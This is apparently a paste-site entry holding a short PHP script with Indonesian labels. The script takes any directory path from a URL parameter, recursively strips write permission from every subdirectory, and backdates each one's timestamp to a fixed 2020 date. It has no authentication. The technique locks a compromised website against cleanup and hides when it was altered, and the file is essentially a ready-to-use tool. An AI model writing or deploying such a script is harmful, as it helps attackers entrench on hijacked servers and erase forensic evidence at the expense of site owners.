Untitled


SUBMITTED BY: Guest

DATE: Oct. 19, 2024, 2:43 a.m.

FORMAT: Text only

SIZE: 602 Bytes

HITS: 74

  1. <?php
  2. class UbahIzin {
  3. function recursive_directory($dir) {
  4. $tree = glob(rtrim($dir, '/') . '/*');
  5. foreach($tree as $sc) {
  6. if(is_dir($sc)){
  7. $this->recursive_directory($sc);
  8. chmod($sc, 0511);
  9. touch($sc, strtotime('2020-11-16 14:14:06'));
  10. echo "Berhasil mengganti izin : " . $sc . "<br>";
  11. }
  12. }
  13. }
  14. }
  15. $instance = new UbahIzin;
  16. $instance->recursive_directory($_GET['path']);
  17. ?>

comments powered by Disqus